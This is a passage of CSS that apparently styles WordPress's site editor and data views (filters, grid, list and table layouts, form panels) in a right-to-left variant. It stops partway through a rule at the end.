.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values[aria-expanded=true]{
  background:rgba(var(--wp-admin-theme-color--rgb), .12);
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:none;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip .dataviews-filters-__summary-filter-text-name{
  font-weight:500;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove{
  align-items:center;
  background:#0000;
  border:0;
  border-radius:50%;
  cursor:pointer;
  display:flex;
  height:24px;
  justify-content:center;
  left:4px;
  padding:0;
  position:absolute;
  top:50%;
  transform:translateY(-50%);
  width:24px;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove svg{
  fill:#757575;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover{
  background:#e0e0e0;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus svg,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover svg{
  fill:#1e1e1e;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values svg{
  fill:var(--wp-admin-theme-color);
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .08);
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:none;
}

.dataviews-filters__search-widget-filter-combobox-list{
  border-top:1px solid #e0e0e0;
  max-height:184px;
  overflow:auto;
  padding:4px;
}
.dataviews-filters__search-widget-filter-combobox-list .dataviews-filters__search-widget-filter-combobox-item-value [data-user-value]{
  font-weight:600;
}

.dataviews-filters__search-widget-listbox{
  overflow:auto;
  padding:4px;
}

.dataviews-filters__search-widget-listitem{
  align-items:center;
  border-radius:2px;
  box-sizing:border-box;
  cursor:default;
  display:flex;
  gap:8px;
  margin-block-end:2px;
  padding:8px 12px;
}
.dataviews-filters__search-widget-listitem:last-child{
  margin-block-end:0;
}
.dataviews-filters__search-widget-listitem:focus,.dataviews-filters__search-widget-listitem:hover,.dataviews-filters__search-widget-listitem[data-active-item]{
  background-color:var(--wp-admin-theme-color);
  color:#fff;
}
.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-check,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-check,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-check{
  fill:#fff;
}
.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-description{
  color:#fff;
}
.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-check{
  flex-shrink:0;
  height:24px;
  width:24px;
}
.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-description{
  color:#757575;
  display:block;
  font-size:12px;
  line-height:16px;
  overflow:hidden;
  text-overflow:ellipsis;
}

.dataviews-filters__search-widget-filter-combobox__wrapper{
  padding:8px;
  position:relative;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{
  background:#f0f0f0;
  border:none;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  display:block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:32px;
  line-height:normal;
  margin-left:0;
  margin-right:0;
  padding:0 8px 0 32px;
  width:100%;
}
@media not (prefers-reduced-motion){
  .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{
    font-size:13px;
    line-height:normal;
  }
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-moz-placeholder{
  color:#1e1e1e9e;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:-ms-input-placeholder{
  color:#1e1e1e9e;
}
@media (min-width:600px){
  .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{
    font-size:13px;
  }
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{
  background:#fff;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::placeholder{
  color:#757575;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-decoration{
  -webkit-appearance:none;
}
.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon{
  align-items:center;
  display:flex;
  justify-content:center;
  left:12px;
  position:absolute;
  top:50%;
  transform:translateY(-50%);
  width:24px;
}

.dataviews-filters__container-visibility-toggle{
  flex-shrink:0;
  position:relative;
}

.dataviews-filters-toggle__count{
  background:var(--wp-admin-theme-color, #3858e9);
  border-radius:8px;
  box-sizing:border-box;
  color:#fff;
  font-size:11px;
  height:16px;
  left:0;
  line-height:16px;
  min-width:16px;
  outline:var(--wp-admin-border-width-focus) solid #fff;
  padding:0 4px;
  position:absolute;
  text-align:center;
  top:0;
  transform:translate(-50%, -50%);
}

.dataviews-search{
  width:fit-content;
}

.dataviews-footer{
  background-color:#fff;
  border-top:1px solid #f0f0f0;
  bottom:0;
  flex-shrink:0;
  padding:12px 48px;
  position:sticky;
  right:0;
  z-index:2;
}
@media not (prefers-reduced-motion){
  .dataviews-footer{
    transition:padding .1s ease-out;
  }
}

@container (max-width: 430px){
  .dataviews-footer{
    padding:12px 24px;
  }
}
@container (max-width: 560px){
  .dataviews-footer{
    flex-direction:column !important;
  }
  .dataviews-footer .dataviews-bulk-actions-footer__container{
    width:100%;
  }
  .dataviews-footer .dataviews-bulk-actions-footer__item-count{
    flex-grow:1;
  }
  .dataviews-footer .dataviews-pagination{
    justify-content:space-between;
    width:100%;
  }
}
.dataviews-pagination__page-select{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}
@media (min-width:600px){
  .dataviews-pagination__page-select .components-select-control__input{
    font-size:11px !important;
    font-weight:500;
  }
}

.dataviews-action-modal{
  z-index:1000001;
}

.dataviews-selection-checkbox{
  --checkbox-input-size:24px;
  flex-shrink:0;
  line-height:0;
}
@media (min-width:600px){
  .dataviews-selection-checkbox{
    --checkbox-input-size:16px;
  }
}
.dataviews-selection-checkbox .components-checkbox-control__input-container{
  margin:0;
}

.dataviews-view-config{
  container-type:inline-size;
  font-size:13px;
  line-height:1.4;
  width:320px;
}

.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper{
  height:100%;
  overflow-y:scroll;
}
.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper .dataviews-view-config{
  width:auto;
}

.dataviews-view-config__sort-direction .components-toggle-group-control-option-base{
  text-transform:uppercase;
}

.dataviews-settings-section__title.dataviews-settings-section__title{
  font-size:15px;
  line-height:24px;
}

.dataviews-settings-section__sidebar{
  grid-column:span 4;
}

.dataviews-settings-section__content,.dataviews-settings-section__content>*{
  grid-column:span 8;
}

.dataviews-settings-section__content .is-divided-in-two{
  display:contents;
}
.dataviews-settings-section__content .is-divided-in-two>*{
  grid-column:span 4;
}

.dataviews-settings-section:has(.dataviews-settings-section__content:empty){
  display:none;
}

@container (max-width: 500px){
  .dataviews-settings-section.dataviews-settings-section{
    grid-template-columns:repeat(2, 1fr);
  }
  .dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__content,.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__sidebar{
    grid-column:span 2;
  }
}
.dataviews-field-control__field{
  height:32px;
}

.dataviews-field-control__actions{
  position:absolute;
  top:-9999em;
}

.dataviews-field-control__actions.dataviews-field-control__actions{
  gap:4px;
}

.dataviews-field-control__field.is-interacting .dataviews-field-control__actions,.dataviews-field-control__field:focus-within .dataviews-field-control__actions,.dataviews-field-control__field:hover .dataviews-field-control__actions{
  position:unset;
  top:unset;
}

.dataviews-field-control__icon{
  display:flex;
  width:24px;
}

.dataviews-field-control__label-sub-label-container{
  flex-grow:1;
}

.dataviews-field-control__label{
  display:block;
}

.dataviews-field-control__sub-label{
  color:#757575;
  font-size:11px;
  font-style:normal;
  margin-bottom:0;
  margin-top:8px;
}

.dataviews-view-grid{
  container-type:inline-size;
  grid-template-rows:max-content;
  margin-bottom:auto;
  padding:0 48px 24px;
}
@media not (prefers-reduced-motion){
  .dataviews-view-grid{
    transition:padding .1s ease-out;
  }
}
.dataviews-view-grid .dataviews-view-grid__card{
  height:100%;
  justify-content:flex-start;
  position:relative;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{
  padding:8px 0 4px;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field{
  align-items:center;
  display:flex;
  min-height:24px;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field--clickable{
  width:fit-content;
}
.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{
  color:#1e1e1e;
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after,.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .08);
}
.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
}
.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.dataviews-view-grid .dataviews-view-grid__media{
  aspect-ratio:1/1;
  background-color:#f0f0f0;
  border-radius:4px;
  min-height:200px;
  position:relative;
  width:100%;
}
.dataviews-view-grid .dataviews-view-grid__media img{
  height:100%;
  object-fit:cover;
  width:100%;
}
.dataviews-view-grid .dataviews-view-grid__media:after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}
.dataviews-view-grid .dataviews-view-grid__fields{
  font-size:12px;
  line-height:16px;
  position:relative;
}
.dataviews-view-grid .dataviews-view-grid__fields:not(:empty){
  padding:0 0 12px;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field-value:not(:empty){
  line-height:20px;
  min-height:24px;
  padding-top:2px;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field{
  align-items:center;
  min-height:24px;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-name{
  color:#757575;
  width:35%;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:65%;
}
.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field:not(:has(.dataviews-view-grid__field-value:not(:empty))){
  display:none;
}
.dataviews-view-grid .dataviews-view-grid__badge-fields:not(:empty){
  padding-bottom:12px;
}
@container (max-width: 480px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(1, minmax(0, 1fr));
    padding-left:24px;
    padding-right:24px;
  }
}
@container (min-width: 480px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(2, minmax(0, 1fr));
  }
}
@container (min-width: 780px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(3, minmax(0, 1fr));
  }
}
@container (min-width: 1140px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(4, minmax(0, 1fr));
  }
}
@container (min-width: 1520px){
  .dataviews-view-grid.dataviews-view-grid{
    grid-template-columns:repeat(5, minmax(0, 1fr));
  }
}

.dataviews-view-grid__field-value:empty,.dataviews-view-grid__field:empty{
  display:none;
}

.dataviews-view-grid__card .dataviews-selection-checkbox{
  position:absolute;
  right:8px;
  top:-9999em;
  z-index:1;
}

.dataviews-view-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-grid__card:hover .dataviews-selection-checkbox{
  top:8px;
}

.dataviews-view-grid__media--clickable{
  cursor:pointer;
}

div.dataviews-view-list{
  list-style-type:none;
}

.dataviews-view-list{
  margin:0 0 auto;
}
.dataviews-view-list div[role=row]{
  border-top:1px solid #f0f0f0;
  margin:0;
}
.dataviews-view-list div[role=row] .dataviews-view-list__item-wrapper{
  box-sizing:border-box;
  padding:16px 24px;
  position:relative;
}
.dataviews-view-list div[role=row] .dataviews-view-list__item-actions{
  flex:0;
  overflow:hidden;
}
.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>div{
  height:24px;
}
.dataviews-view-list div[role=row] .dataviews-view-list__item-actions .components-button{
  opacity:0;
  position:relative;
  z-index:1;
}
.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions{
  flex-basis:min-content;
  overflow:unset;
  padding-inline-end:4px;
}
.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions .components-button{
  opacity:1;
}
.dataviews-view-list div[role=row].is-selected.is-selected,.dataviews-view-list div[role=row].is-selected.is-selected+div[role=row]{
  border-top:1px solid rgba(var(--wp-admin-theme-color--rgb), .12);
}
.dataviews-view-list div[role=row]:not(.is-selected) .dataviews-view-list__title-field{
  color:#1e1e1e;
}
.dataviews-view-list div[role=row]:not(.is-selected).is-hovered,.dataviews-view-list div[role=row]:not(.is-selected):focus-within,.dataviews-view-list div[role=row]:not(.is-selected):hover{
  background-color:#f8f8f8;
  color:var(--wp-admin-theme-color);
}
.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__title-field{
  color:var(--wp-admin-theme-color);
}
.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .04);
  color:#1e1e1e;
}
.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field{
  color:var(--wp-admin-theme-color);
}
.dataviews-view-list .dataviews-view-list__item{
  appearance:none;
  background:none;
  border:none;
  cursor:pointer;
  inset:0;
  padding:0;
  position:absolute;
  scroll-margin:8px 0;
  z-index:1;
}
.dataviews-view-list .dataviews-view-list__item:focus-visible{
  outline:none;
}
.dataviews-view-list .dataviews-view-list__item:focus-visible:before{
  border-radius:2px;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  inset:var(--wp-admin-border-width-focus);
  outline:2px solid #0000;
  position:absolute;
}
.dataviews-view-list .dataviews-view-list__title-field{
  flex:1;
  line-height:24px;
  min-height:24px;
  overflow:hidden;
}
.dataviews-view-list .dataviews-view-list__title-field:has(a,button){
  z-index:1;
}
.dataviews-view-list .dataviews-view-list__media-wrapper{
  background-color:#f0f0f0;
  border-radius:4px;
  flex-shrink:0;
  height:52px;
  overflow:hidden;
  position:relative;
  width:52px;
}
.dataviews-view-list .dataviews-view-list__media-wrapper img{
  height:100%;
  object-fit:cover;
  width:100%;
}
.dataviews-view-list .dataviews-view-list__media-wrapper:after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}
.dataviews-view-list .dataviews-view-list__field-wrapper{
  flex-grow:1;
  min-height:52px;
}
.dataviews-view-list .dataviews-view-list__fields{
  color:#757575;
  display:flex;
  flex-wrap:wrap;
  font-size:12px;
  gap:12px;
  row-gap:4px;
}
.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:has(.dataviews-view-list__field-value:empty),.dataviews-view-list .dataviews-view-list__fields:empty{
  display:none;
}
.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field-value{
  align-items:center;
  display:flex;
  line-height:20px;
  min-height:24px;
}
.dataviews-view-list+.dataviews-pagination{
  justify-content:space-between;
}

.dataviews-view-table{
  border-collapse:collapse;
  border-color:inherit;
  color:#757575;
  margin-bottom:auto;
  position:relative;
  text-indent:0;
  width:100%;
}
.dataviews-view-table th{
  color:#1e1e1e;
  font-size:13px;
  font-weight:400;
  text-align:right;
}
.dataviews-view-table td,.dataviews-view-table th{
  padding:12px;
  white-space:nowrap;
}
.dataviews-view-table td.dataviews-view-table__actions-column,.dataviews-view-table th.dataviews-view-table__actions-column{
  text-align:left;
}
.dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{
  padding-left:0;
  width:1%;
}
.dataviews-view-table tr{
  border-top:1px solid #f0f0f0;
}
.dataviews-view-table tr .dataviews-view-table-header-button{
  gap:4px;
}
.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{
  padding-right:48px;
}
.dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{
  margin-right:-8px;
}
.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{
  padding-left:48px;
}
.dataviews-view-table tr:last-child{
  border-bottom:0;
}
.dataviews-view-table tr.is-hovered{
  background-color:#f8f8f8;
}
.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{
  opacity:0;
}
.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate{
  opacity:1;
}
.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){
  opacity:0;
}
.dataviews-view-table tr.is-hovered .components-checkbox-control__input,.dataviews-view-table tr.is-hovered .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:focus-within .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:hover .components-checkbox-control__input,.dataviews-view-table tr:hover .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){
  opacity:1;
}
@media (hover:none){
  .dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input,.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){
    opacity:1;
  }
}
.dataviews-view-table tr.is-selected{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .04);
  color:#757575;
}
.dataviews-view-table tr.is-selected,.dataviews-view-table tr.is-selected+tr{
  border-top:1px solid rgba(var(--wp-admin-theme-color--rgb), .12);
}
.dataviews-view-table tr.is-selected:hover{
  background-color:rgba(var(--wp-admin-theme-color--rgb), .08);
}
.dataviews-view-table thead{
  inset-block-start:0;
  position:sticky;
  z-index:1;
}
.dataviews-view-table thead tr{
  border:0;
}
.dataviews-view-table thead th{
  background-color:#fff;
  font-size:11px;
  font-weight:500;
  padding-bottom:8px;
  padding-right:12px;
  padding-top:8px;
  text-transform:uppercase;
}
.dataviews-view-table thead th:has(.dataviews-view-table-header-button):not(:first-child){
  padding-right:4px;
}
.dataviews-view-table tbody td{
  vertical-align:top;
}
.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{
  align-items:center;
  display:flex;
  min-height:32px;
}
.dataviews-view-table tbody .components-v-stack>.dataviews-view-table__cell-content-wrapper:not(:first-child){
  min-height:0;
}
.dataviews-view-table .dataviews-view-table-header-button{
  font-size:11px;
  font-weight:500;
  padding:4px 8px;
  text-transform:uppercase;
}
.dataviews-view-table .dataviews-view-table-header-button:not(:hover){
  color:#1e1e1e;
}
.dataviews-view-table .dataviews-view-table-header-button span{
  speak:none;
}
.dataviews-view-table .dataviews-view-table-header-button span:empty{
  display:none;
}
.dataviews-view-table .dataviews-view-table-header{
  padding-right:4px;
}
.dataviews-view-table .dataviews-view-table__actions-column{
  width:1%;
}
.dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{
  opacity:1;
}
.dataviews-view-table.has-compact-density thead th:has(.dataviews-view-table-header-button):not(:first-child){
  padding-right:0;
}
.dataviews-view-table.has-compact-density td,.dataviews-view-table.has-compact-density th{
  padding:4px 8px;
}
.dataviews-view-table.has-comfortable-density td,.dataviews-view-table.has-comfortable-density th{
  padding:16px 12px;
}
.dataviews-view-table.has-comfortable-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-comfortable-density th.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density th.dataviews-view-table__checkbox-column{
  padding-left:0;
}

@container (max-width: 430px){
  .dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{
    padding-right:24px;
  }
  .dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{
    padding-left:24px;
  }
}
.dataviews-view-table-selection-checkbox{
  --checkbox-input-size:24px;
}
@media (min-width:600px){
  .dataviews-view-table-selection-checkbox{
    --checkbox-input-size:16px;
  }
}

.dataviews-column-primary__media{
  max-width:60px;
}

.dataviews-controls__datetime{
  border:none;
  padding:0;
}

.dataforms-layouts-panel__field{
  align-items:flex-start !important;
  justify-content:flex-start !important;
  min-height:32px;
  width:100%;
}

.dataforms-layouts-panel__field-label{
  align-items:center;
  display:flex;
  flex-shrink:0;
  hyphens:auto;
  line-height:20px;
  min-height:32px;
  padding:6px 0;
  width:38%;
}

.dataforms-layouts-panel__field-control{
  align-items:center;
  display:flex;
  flex-grow:1;
  min-height:32px;
}
.dataforms-layouts-panel__field-control .components-button{
  max-width:100%;
  min-height:32px;
  text-align:right;
  text-wrap:balance;
  text-wrap:pretty;
  white-space:normal;
}
.dataforms-layouts-panel__field-control .components-dropdown{
  max-width:100%;
}

.dataforms-layouts-panel__field-dropdown .components-popover__content{
  min-width:320px;
  padding:16px;
}

.dataforms-layouts-panel__dropdown-header{
  margin-bottom:16px;
}

.components-popover.components-dropdown__content.dataforms-layouts-panel__field-dropdown{
  z-index:159990;
}

.dataforms-layouts-regular__field{
  align-items:flex-start !important;
  justify-content:flex-start !important;
  min-height:32px;
  width:100%;
}

.dataforms-layouts-regular__field .components-base-control__label{
  font-size:inherit;
  font-weight:400;
  text-transform:none;
}

.dataforms-layouts-regular__field-label{
  align-items:center;
  display:flex;
  flex-shrink:0;
  hyphens:auto;
  line-height:20px;
  min-height:32px;
  padding:6px 0;
  width:38%;
}

.dataforms-layouts-regular__field-control{
  align-items:center;
  display:flex;
  flex-grow:1;
  min-height:32px;
}

.edit-site-layout{
  color:#ccc;
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-site-layout,.edit-site-layout:not(.is-full-canvas) .editor-visual-editor{
  background:#1e1e1e;
}

.edit-site-layout__content{
  display:flex;
  flex-grow:1;
  height:100%;
}

.edit-site-layout__sidebar-region{
  flex-shrink:0;
  width:100vw;
  z-index:1;
}
@media (min-width:782px){
  .edit-site-layout__sidebar-region{
    width:300px;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{
  height:100vh;
  position:fixed !important;
  right:0;
  top:0;
}
.edit-site-layout__sidebar-region .edit-site-layout__sidebar{
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-site-layout__sidebar-region .resizable-editor__drag-handle{
  left:0;
}

.edit-site-layout__main{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:hidden;
}

.edit-site-layout__mobile{
  display:flex;
  flex-direction:column;
  position:relative;
  width:100%;
  z-index:2;
}
.edit-site-layout__mobile .edit-site-sidebar__screen-wrapper{
  padding:0;
}
.edit-site-layout__mobile .edit-site-sidebar-navigation-screen__main{
  padding:0 12px;
}

.edit-site-layout__canvas-container{
  flex-grow:1;
  overflow:visible;
  position:relative;
  z-index:2;
}
.edit-site-layout__canvas-container.is-resizing:after{
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:100;
}

.edit-site-layout__canvas{
  align-items:center;
  bottom:0;
  display:flex;
  justify-content:center;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}
.edit-site-layout__canvas.is-right-aligned{
  justify-content:flex-end;
}
.edit-site-layout__canvas .edit-site-resizable-frame__inner{
  color:#1e1e1e;
}
@media (min-width:782px){
  .edit-site-layout__canvas{
    bottom:16px;
    top:16px;
    width:calc(100% - 16px);
  }
  .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{
    box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;
    overflow:hidden;
  }
}
@media (min-width:782px) and (not (prefers-reduced-motion)){
  .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{
    transition:border-radius,box-shadow .4s;
  }
}
@media (min-width:782px){
  .edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{
    border-radius:8px;
  }
  .edit-site-layout__canvas .edit-site-resizable-frame__inner-content:hover{
    box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__canvas{
  bottom:0;
  top:0;
  width:100%;
}

.edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{
  min-height:100% !important;
  position:relative !important;
}

.edit-site-template-pages-preview{
  height:100%;
}
html.canvas-mode-edit-transition::view-transition-group(toggle){
  animation-delay:255ms;
}

@media (prefers-reduced-motion){
  ::view-transition-group(*),::view-transition-new(*),::view-transition-old(*){
    animation:none !important;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region .edit-site-layout__view-mode-toggle{
  display:none;
}

.edit-site-layout__view-mode-toggle.components-button{
  view-transition-name:toggle;
  align-items:center;
  background:#1e1e1e;
  border-radius:0;
  color:#fff;
  display:flex;
  height:60px;
  justify-content:center;
  overflow:hidden;
  padding:0;
  position:relative;
  width:60px;
}
.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{
  color:#fff;
}
.edit-site-layout__view-mode-toggle.components-button:focus,.edit-site-layout__view-mode-toggle.components-button:focus-visible{
  box-shadow:0 0 0 3px #1e1e1e, 0 0 0 6px var(--wp-admin-theme-color);
  outline:4px solid #0000;
  outline-offset:4px;
}
.edit-site-layout__view-mode-toggle.components-button:before{
  border-radius:4px;
  bottom:9px;
  box-shadow:none;
  content:"";
  display:block;
  left:9px;
  position:absolute;
  right:9px;
  top:9px;
}
@media not (prefers-reduced-motion){
  .edit-site-layout__view-mode-toggle.components-button:before{
    transition:box-shadow .1s ease;
  }
}
.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{
  align-items:center;
  display:flex;
  height:60px;
  justify-content:center;
  width:60px;
}

.edit-site-layout__actions{
  background:#fff;
  bottom:auto;
  color:#1e1e1e;
  left:0;
  position:fixed !important;
  right:auto;
  top:-9999em;
  width:280px;
  z-index:100000;
}
.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{
  bottom:0;
  top:auto;
}
.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{
  top:0;
}
@media (min-width:782px){
  .edit-site-layout__actions{
    border-right:1px solid #ddd;
  }
}

.edit-site-layout__area{
